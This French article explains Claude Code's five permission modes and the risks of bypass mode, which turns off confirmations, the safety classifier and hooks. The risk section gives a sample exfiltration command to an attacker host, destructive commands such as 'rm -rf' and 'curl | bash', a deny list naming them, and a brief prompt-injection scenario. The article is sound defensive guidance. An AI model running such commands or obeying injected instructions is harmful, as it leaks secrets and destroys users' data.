Mode bypass des permissions de Claude Code : risques de sécurité et bonnes pratiques

Claude Code dispose d'un mode bypass des permissions (bypassPermissions) qui exécute toutes les opérations sans aucune confirmation. Extrêmement pratique pour l'automatisation dans les pipelines CI/CD ou les conteneurs Docker, ce mode peut entraîner de graves problèmes de sécurité s'il est mal utilisé.

Cet article présente les 5 modes de permission de Claude Code, puis analyse en détail la commodité, les risques et les bonnes pratiques du mode bypass, avec des exemples concrets.

1. Qu'est-ce que le mode bypass ?

Le mode bypass désactive toutes les invites de confirmation que Claude Code affiche normalement avant de modifier un fichier ou d'exécuter une commande shell. Dans le mode standard, chaque action sensible nécessite l'approbation de l'utilisateur. En mode bypass, aucune validation n'est demandée.

Il existe deux façons de l'activer :

# Via le flag
claude --dangerously-skip-permissions

# Ou via le mode de permission
claude --permission-mode bypass

Le fait que le nom du flag contienne le mot « dangerously » (dangereusement) est un signal clair : Anthropic met en garde contre une utilisation inconsidérée. Ce mode existe pour permettre l'automatisation dans des environnements totalement isolés (conteneurs, machines virtuelles).

À noter : même en mode bypass, les écritures dans les répertoires .git/, .vscode/, .idea/ et .claude/ restent bloquées. C'est le filet de sécurité minimal.

2. Les 5 modes de permission de Claude Code

Claude Code propose 5 niveaux de permission, chacun définissant ce qui peut être exécuté sans confirmation.

Détail de chaque mode

default : seule la lecture de fichiers est autorisée sans confirmation. Toute modification ou exécution de commande nécessite une validation. Idéal pour les débutants ou les environnements sensibles.

acceptEdits : la lecture et l'édition de fichiers sont automatiques, mais l'exécution de commandes shell requiert une approbation. C'est le mode équilibré recommandé pour le travail quotidien.

plan : mode lecture seule. Aucune écriture de fichier ni exécution de commande n'est possible. Idéal pour l'exploration du code ou la réflexion sur l'architecture.

auto : la quasi-totalité des opérations s'exécute sans confirmation. Toutefois, un classificateur de sécurité fonctionne en arrière-plan et bloque les actions jugées dangereuses. Adapté aux tâches automatisées de longue durée.

bypassPermissions : tous les contrôles sont désactivés, y compris le classificateur de sécurité. Conçu pour une utilisation dans des conteneurs ou des machines virtuelles ; Anthropic déconseille son usage en environnement local.

Vous pouvez changer de mode en cours de session avec le raccourci Shift+Tab. Cette fonctionnalité est disponible dans VS Code, JetBrains et l'application desktop.

3. Quand le mode bypass est-il utile ?

Le mode bypass n'est pas uniquement « dangereux ». Utilisé dans le bon environnement, il améliore considérablement la productivité.

Pipelines CI/CD

Dans un pipeline GitHub Actions ou GitLab CI, aucun utilisateur n'est présent pour répondre aux invites de confirmation. Le mode bypass permet d'automatiser entièrement les tests, les revues de code et la génération de documentation.

# Exemple d'utilisation dans GitHub Actions
claude --dangerously-skip-permissions \
  -p "Run the tests and generate a report"

Conteneurs Docker

Dans un conteneur éphémère, toute dégradation est sans conséquence : il suffit de relancer le conteneur. La « dangerosité » du mode bypass est neutralisée par l'isolation du conteneur.

Traitement par lots de fichiers

Lorsqu'il faut modifier plus de 100 fichiers en une seule opération, chaque invite de confirmation devient un frein considérable. Dans un environnement isolé, le mode bypass permet un traitement efficace.

Intégration avec des scripts d'automatisation

Les traitements par lots périodiques et les pipelines de génération de code nécessitent une exécution sans intervention humaine. Le mode bypass est indispensable pour cette utilisation headless.

4. 5 risques de sécurité majeurs

Utiliser le mode bypass dans un environnement non isolé expose aux risques suivants :

Risque 1 : Injection de prompt

C'est le risque le plus critique. Des instructions malveillantes dissimulées dans du code ou des fichiers (par exemple dans un README ou un package.json) peuvent être exécutées telles quelles.

En mode normal, une invite de confirmation s'affiche avant toute commande suspecte, permettant à l'utilisateur de la bloquer. En mode bypass, cette barrière n'existe plus.

Risque 2 : Exécution de commandes arbitraires

curl | bash, rm -rf, installation de paquets... toute commande shell est exécutée immédiatement. En mode auto, le classificateur de sécurité bloque les commandes dangereuses. En mode bypass, ce classificateur est également désactivé.

Risque 3 : Fuite de données

Des commandes capables d'envoyer des données sensibles vers un serveur externe — fichiers .env, jetons d'authentification, clés API — peuvent s'exécuter sans vérification. Par exemple : curl -d @.env https://attacker.com.

Risque 4 : Escalade d'opérations

Une tâche qui commence par une simple modification de fichier peut progressivement conduire à un déploiement en production ou à une migration de base de données. En mode normal, des confirmations successives interviennent à chaque étape. En mode bypass, cette progression passe inaperçue.

Risque 5 : Opérations destructrices irréversibles

git push --force, suppression définitive de fichiers, DROP TABLE en base de données... des opérations irréversibles peuvent s'exécuter sans aucune confirmation.

5. Mesures de protection

Si vous devez utiliser le mode bypass, appliquez les mesures suivantes :

Mesure 1 : Se limiter aux conteneurs et aux VM

C'est la mesure la plus importante. Utilisez le mode bypass exclusivement dans un environnement isolé : conteneur Docker, VM, runner CI de GitHub Actions. Évitez toute exécution directe sur le système hôte.

Mesure 2 : Envisager d'abord le mode auto

Dans la majorité des cas, le mode auto suffit. Le classificateur de sécurité en arrière-plan bloque les commandes manifestement dangereuses. N'optez pas pour le mode bypass simplement parce que les confirmations vous semblent fastidieuses.

Mesure 3 : Contrôler finement les permissions avec les allowlists

Le système de règles de permissions de Claude Code permet de n'autoriser automatiquement que certaines commandes spécifiques. Plutôt que le mode bypass, ajoutez les commandes nécessaires à une allowlist.

# Exemple de configuration dans .claude/settings.json
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

Les règles de permission sont évaluées dans l'ordre deny → ask → allow. Comme le deny est prioritaire, les commandes explicitement refusées ne peuvent pas être contournées par une règle allow.

Mesure 4 : Surveiller avec les Hooks

Les Hooks de Claude Code (PreToolUse / PostToolUse) permettent d'exécuter des scripts personnalisés avant ou après l'utilisation d'un outil. Point essentiel : en mode bypass, les Hooks sont également désactivés.

Utilisez donc les Hooks en combinaison avec le mode auto pour une surveillance efficace.

# Exemple de PreToolUse Hook (.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": "echo $CLAUDE_TOOL_INPUT | check-safety.sh"
      }]
    }]
  }
}

Mesure 5 : Restreindre le réseau

Même dans un conteneur, limiter les accès réseau sortants réduit considérablement le risque de fuite de données. L'idéal est de n'autoriser que les points de terminaison nécessaires (API Anthropic, etc.).

Mesure 6 : Revoir systématiquement les modifications

Après toute utilisation du mode bypass, vérifiez les changements avec git diff. Prenez l'habitude de contrôler qu'aucune modification involontaire ni fuite de données sensibles ne s'est produite.

6. Guide de choix du mode

Lorsque vous hésitez sur le mode à utiliser, consultez le schéma de décision suivant :

Recommandations par cas d'usage

Travail quotidien de codage : le mode acceptEdits est recommandé. Les modifications de fichiers se font sans friction, tandis que l'exécution de commandes reste soumise à validation.

Exploration du code et conception : le mode plan garantit qu'aucune modification accidentelle ne sera apportée. En lecture seule, vous pouvez explorer le codebase en toute sérénité.

Tâches automatisées de longue durée : le mode auto combiné à un environnement sandbox est le meilleur choix. Le classificateur de sécurité assure un niveau de protection tout en permettant l'automatisation.

Pipelines CI/CD : le mode bypass associé à l'isolation par conteneur est la solution appropriée. N'oubliez pas de restreindre le réseau et de minimiser les volumes montés.

Pour en savoir plus sur les autres fonctionnalités de Claude Code, consultez Les 3 modes de Claude : différences et usages. Pour les tarifs, rendez-vous sur Comparatif des prix Claude vs ChatGPT.

7. Résumé

Le mode bypass de Claude Code est un outil puissant lorsqu'il est utilisé dans le bon environnement, mais une mauvaise utilisation peut provoquer des incidents de sécurité graves.

Si la sécurité des outils IA vous préoccupe, évaluez votre niveau de compétence avec le Diagnostic IA. Vous pouvez aussi suivre le Cours d'introduction pour approfondir vos connaissances de manière structurée.

FAQ